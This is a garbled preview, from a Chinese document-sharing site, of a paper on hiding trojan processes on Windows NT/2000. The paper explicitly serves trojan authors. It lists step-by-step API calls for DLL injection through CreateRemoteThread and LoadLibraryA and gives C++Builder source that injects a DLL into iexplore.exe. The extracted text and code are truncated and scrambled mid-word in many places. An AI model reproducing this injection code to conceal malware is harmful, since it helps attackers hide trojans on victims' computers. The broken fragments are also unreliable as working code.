研究windows nt-2000系统下进程的隐躲

研究windows nt-2000系统下进程的隐躲

ID:22384542

大小:58.50 KB

页数:6页

时间:2018-10-28

研究windows nt-2000系统下进程的隐躲 _第1页
研究windows nt-2000系统下进程的隐躲 _第2页
研究windows nt-2000系统下进程的隐躲 _第3页
研究windows nt-2000系统下进程的隐躲 _第4页
研究windows nt-2000系统下进程的隐躲 _第5页
资源描述:

《研究windows nt-2000系统下进程的隐躲 》由会员上传分享,免费在线阅读,更多相关内容在学术论文-天天文库

1、研究WindowsNT/2000系统下进程的隐躲进程的隐躲一直是木马程序设计者不断探求的重要技术,本文采用远程线程技术,通过动态链接库方法,较好地解决了这一新题目,通过远程线程将木马作为线程隐躲在其他进程中,从而达到隐躲的目的。关键字进程线程木马动态链接库木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐躲无疑是大家关心的焦点。本文分析了WindoicLinkLibrary(动态链接库)的缩写,DLL文件是WindooteThread也同样可以在另一个进程内创建新线程,被创

2、建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进进了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。3实施步骤1)用Process32Next()函数找到宿主进程,获取宿主进程ID,并用OpenProcess()函数打开宿主进程。2)用VirtualAllocEx()函数分配远程进程地址空间中的内存。3)用emory()函数将待隐躲的DLL的路径名。4)拷贝到步骤二已经分配的内存中。5)用GetProcAddress()函数获取LoadlibraryA()函数的实地址(

3、在kernel32.dll中)。6)用CreateRemoteThread()函数在远程进程中创建一个线程。7)它调用正确的LoadlibraryA()函数。8)为它传递步骤二中分配的内存地址。4具体实例下面是在C++Builder4.0环境下编写的运用远程线程技术隐躲木马的程序代码:#include%26lt;vcl.h%26gt;#include%26lt;ahdrstop#include"Unit1.h"#pragmapackage(smart_init)#pragmaresource"*.dfm"Insistingps

4、zLibFileName;//存放待隐躲的DLL文件名HANDLEhProcessSnap=NULL;//进程快照句柄HANDLEhRemoteProcess;//远程进程句柄LPVOIDpszLibFileRemote;//远程进程中分配给文件名的空间HMODULEphmd;//存放kernel32.dll句柄HANDLEhRemoteThread1=NULL;//存放远程线程句柄TForm1*Form1;//---------------------------------------------------------_

5、_fastcallTForm1::TForm1(Tponent*O(O1::Button1Click(TObject*Sender){PROCESSENTRY32pe32={0};DessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);exit(0);}//失败返回pe32.dp;pe32))//获取第一个进程{do{AnsiStringte;te=pe32.szExeFile;if(te.Pos("iexplore.exe")

6、

7、te.Pos("IEXPLORE.

8、EXE"))//找到宿主进程,以IEXPLORE.EXE为例{doteProcessId=pe32.th32ProcessID;break;}}p;pe32));//获取下一个进程}else{MessageBox(NULL,"取第一个进程失败","",MB_OK);exit(0);}hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD

9、PROCESS_VM_OPERATION

10、PROCESS_VM_EM_MIT,PAGE_READemory(hRemoteProcess,pszLib

11、FileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);//把dll文件名写进申请的空间phmd=GetModuleHandle("kernel32.dll");LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)GetProcAddress(phmd,"LoadLibraryA");//获取动态链接库函数地址hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0

12、,pfnStartAddr,pszLibFileRemote,0,NULL);//创建远程线程if(hRemoteThread1!=NULL)CloseHandle(hRemoteThread1);//封闭远程线程if(hProcessSnap!=NULL)CloseHand

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。